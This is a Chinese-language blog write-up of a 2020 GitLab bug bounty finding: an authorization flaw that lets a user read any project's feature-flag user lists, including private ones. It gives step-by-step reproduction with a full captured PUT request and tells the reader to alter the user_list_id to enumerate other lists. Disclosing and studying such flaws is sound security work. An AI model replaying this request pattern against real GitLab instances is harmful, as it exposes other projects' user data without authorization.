gitlab漏洞系列-越权获取任何项目的特性标志用户列表(包括用户id)

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

背景
白帽小哥ashish_r_padelkar在2020年8月份提交的这个漏洞,:只要在请求中提供2位连续的ID,就可以获得任何私有/公共项目的特性标志用户列表。通过这种方式,我们可以枚举所有这些特性标志用户列表。

复现步骤
1.跳转至https://gitlab.com/<NameSpace>/project_1/-/feature_flags

2.编辑任何现有的特性标志。

3.在“类型下拉列表”中选择“用户列表”选项,然后从项目中选择可用的用户列表。

4.单击save并捕获下面的请求。

PUT /group_new_1/project_1/-/feature_flags/1 HTTP/1.1  
Host: gitlab.com  
Connection: close  
Content-Length: 295  
Accept: application/json, text/plain, */*  
X-CSRF-Token: 1  
X-Requested-With: XMLHttpRequest  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36  
Content-Type: application/json;charset=UTF-8  
Origin: https://gitlab.com  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://gitlab.com/group_new_1/project_1/-/feature_flags/1/edit  
Accept-Encoding: gzip, deflate  
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8  
Cookie: 1


{"operations_feature_flag":{"name":"wwwwww","description":"","version":"new_version_flag","active":true,"strategies_attributes":[{"id":532,"name":"gitlabUserList","_destroy":false,"scopes_attributes":[{"id":1146,"_destroy":false,"environment_scope":"wwww"}],"parameters":{},"user_list_id":39}]}}  

5.只需将上述请求中的user_list_id参数的值更改为任意2位连续的ID,然后发送请求。

当重新加载时,应该在响应中以及在特性标志页中看到用户的Name列表。注意,当你获得的特性标志属于私有项目时,这也是可能的。




作者:richardo1o1


欢迎关注微信公众号 :迪哥讲事